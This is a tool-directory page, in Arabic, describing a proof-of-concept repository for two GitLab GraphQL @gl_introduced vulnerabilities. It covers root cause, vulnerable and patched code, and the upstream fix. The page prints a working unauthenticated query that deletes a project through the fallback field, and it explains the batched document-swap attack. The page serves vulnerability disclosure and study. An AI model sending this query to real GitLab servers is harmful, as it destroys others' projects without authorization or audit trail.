Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-19478 — يوفر استغلالات PoC وتحليل السبب الجذري لثغرتين في توجيه `@gl_introduced` في GraphQL الخاص بـ GitLab: تنفيذ الطرق بدون مصادقة وتبديل المستندات المجمّعة، مع التصحيح الرسمي وأدلة حية. | Kitploit
أدوات/GitHubGitHub/n0xdaemon/cve-2026-19478
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIأمن الويب
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

يوفر استغلالات PoC وتحليل السبب الجذري لثغرتين في توجيه `@gl_introduced` في GraphQL الخاص بـ GitLab: تنفيذ الطرق بدون مصادقة وتبديل المستندات المجمّعة، مع التصحيح الرسمي وأدلة حية.

عرض المستودع
24منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-19478 — ثغرات فلتر الإصدارات @gl_introduced في GitLab GraphQL

مختبر إعادة إنتاج لثغرتين مترابطتين في ميزة فلتر الإصدارات في GraphQL الخاص بـ GitLab (التوجيه @gl_introduced). تقع كلتاهما في نفس منطقة الميزة، وتُصلَّحان بنفس التصحيح من upstream، وكلتاهما تسمحان لطلب GraphQL بالوصول إلى مسارات برمجية لم يصرّح بها أبدًا:

  • تنفيذ دالة عبر الحقل الاحتياطي — يمكن لاستعلام واحد غير موثَّق وغير مُجمَّع أن يستدعي أي دالة بدون وسائط (مثل destroy) على النموذج الكامن خلف أي نوع GraphQL، فقط بتسمية حقل غير موجود ووسمه بـ @gl_introduced.
  • تبديل المستند عبر العمليات — في طلب مُجمَّع (multiplex)، يمكن استبدال مستند الاستعلام المُحلَّل لعملية ما بمستند عملية أخرى، بحيث تنتهي فتحة صرّحت بقراءة غير ضارة بتنفيذ طفرة من فتحة أخرى.
المتأثّر18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
المُصلَّح18.11.11, 19.0.8, 19.1.6, 19.2.4
هدف المختبرgitlab/gitlab-ce:19.2.2-ce.0 (آخر بناء قبل التصحيح)
المُشغِّلتوجيه GraphQL @gl_introduced، بمفرده أو داخل دفعة

هيكل المستودع

docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

كل ما تحت src/ هو كود مصدري حرفي من upstream، ولم يُعَد تنفيذه أبدًا — فالمحمّل (loader) يضع src/vuln أو src/patched فوق src/common.


1. السبب الجذري

1a. الحقل الاحتياطي ← قرار الأسلوب الافتراضي في graphql-ruby

يتيح Gitlab::Graphql::VersionFilter::FutureFieldFallback للاستعلام الإشارة إلى حقل غير موجود بعد على أي نوع دون أن يفشل الطلب — وهو مخصّص للنشر المتدرج (rolling deploys)، حيث لا يحتوي مخطط العقدة القديمة بعد على حقل توفّره عقدة أحدث. يتحقق تجاوز get_field مما إذا كان الحقل المطلوب مفقودًا و كان الطلب موسومًا بـ contain_future_fields، وإذا كان الأمر كذلك فإنه يعيد حقلًا اصطناعيًا بدلًا من إلقاء خطأ:

# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

المشكلة: هذا GraphQL::Schema::Field يُنشأ بدون أسلوب resolver، وبدون صنف resolver، وبدون كتلة. عندها يُطبَّق قرار الحقل الافتراضي الخاص بـ graphql-ruby (gem graphql 2.6.3، lib/graphql/schema/field.rb):

inner_object.public_send(@method_sym)

@method_sym هو اسم الحقل بصيغة underscore — أي بالضبط السلسلة التي وضعها المهاجم في الاستعلام. إذا وُجد على الكائن الكامن خلف نوع GraphQL (نموذج ActiveRecord) دالة عامة حقيقية بدون وسائط بهذا الاسم، فإن graphql-ruby يستدعيها ويعيد نتيجتها (بعد تحويل النوع). القيمة fallback_value: nil تُطبَّق فقط عندما لا تكون الدالة موجودة فعلًا — وهي لا تمنع تشغيل دالة حقيقية.

إذًا: استعلم عن أي نوع بحقل يحمل اسم دالة تدميرية حقيقية — مثل destroy — ووسمه بـ @gl_introduced حتى يصل إلى مرحلة التنفيذ، وستُستدعى الدالة.

1b. تبديل المستند عبر العمليات

ينفّذ IntroducedTracer بقية ميزة فلتر الإصدارات عبر خطّافَي تتبّع (trace hooks) في graphql-ruby — parse (مرة لكل عملية) وexecute_query (مرة لكل عملية). في البناء الثغري، يخزّن حالته الخاصة بكل عملية في متغيرات مثيل عادية على كائن التتبّع:

# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

المشكلة: يشارك graphql-ruby مثيل تتبّع واحدًا بين كل عمليات الطلب المتعدد (multiplexed request)، ويحلّل كل هذه العمليات قبل تنفيذ أي منها. إذًا في دفعة من عمليتين:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (يحمل op2 حقلًا مستقبليًا @gl_introduced)

بعد التحليل، لا يبقى سوى حالة آخر عملية. ثم يبدأ التنفيذ:

  1. execute_query(op1) → العلامة true، لذا يُستبدل مستند op1 بـ op2_doc ويُعاد تجهيزه → فتحة op1 تنفّذ عملية op2.

op1 صرّح بقراءة؛ لكنه ينفّذ كتابة op2.

التصحيح

يُغلق patch-19.2.2-to-19.2.4.diff الثغرتين معًا:

# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. مسار الاستغلال

2a. الحقل الاحتياطي — طلب واحد، بدون مصادقة، بدون دمج

query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

لا يوجد ترويسة Authorization. عملية واحدة، بدون دفعة. destroy ليس حقلًا حقيقيًا على Project — فهو غير موجود في المخطط أصلًا — لكن التوجيه يجعل FutureFieldFilter يزيله قبل التحقق الثابت ويُفعّل contain_future_fields للتنفيذ، حيث يعيد get_field حقلًا بدون resolver باسم destroy، ويستدعي graphql-ruby الدالة project.public_send(:destroy).

تم التحقق منها مباشرةً على الهدف الحيّ (evidence/live_vuln_fallback_field.txt، وأُعيد إنتاجها ثلاث مرات مقابل ثلاثة مشاريع مؤقتة منفصلة): عند إرسالها ضد مشروع عام، كانت الاستجابة {"data":{"project":{"id":"...","destroy":true}}}. وأعاد فحص REST متابِع موثّق (GET /api/v4/projects/:id) رمز 404 — أي أن المشروع اختفى فعلًا. يُظهر سجل الطلبات الخاص بتلك المكالمة 9 عمليات كتابة متزامنة في قاعدة البيانات وصفرًا من صفوف AuditEvent الجديدة: تتجاوز المكالمة Projects::DestroyService بالكامل (ومعه مسار التدقيق، وwebhooks، والإشعارات) — فهي سلسلة حذف خام عبر ActiveRecord#destroy تُستدعى مباشرة من خلال قرار الحقل الافتراضي في GraphQL.

2b. تبديل المستند عبر العمليات — يتطلب دفعة

sequenceDiagram
    participant A as Attacker
    participant C as GraphqlController
    participant T as IntroducedTracer (one shared instance)
    participant S as StarProject mutation
تنزيل الأداة